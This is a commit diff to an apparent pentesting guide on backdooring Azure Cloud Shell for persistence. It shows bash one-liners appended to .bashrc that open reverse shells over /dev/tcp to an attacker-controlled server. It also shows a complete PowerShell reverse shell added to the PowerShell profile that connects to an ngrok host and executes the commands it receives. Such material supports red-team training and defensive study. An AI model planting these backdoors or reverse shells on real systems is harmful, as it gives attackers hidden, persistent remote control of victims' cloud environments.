Skip to content

Commit a7c6f73

Browse files
authored
Update az-cloud-shell-persistence.md
1 parent ec7bdea commit a7c6f73

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ Azure Cloud Shell offers command-line access to manage Azure resources with pers
1212
Example backdoor in .bashrc:
1313

1414
```bash
15-
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
15+
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
1616
```
1717

1818
This backdoor can execute commands even 5 minutes after the cloud shell is finished by the user.
@@ -45,7 +45,7 @@ touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
4545
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
4646

4747
# Bash backdoor
48-
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
48+
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
4949

5050
# PS backdoor
5151
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

0 commit comments

Comments
 (0)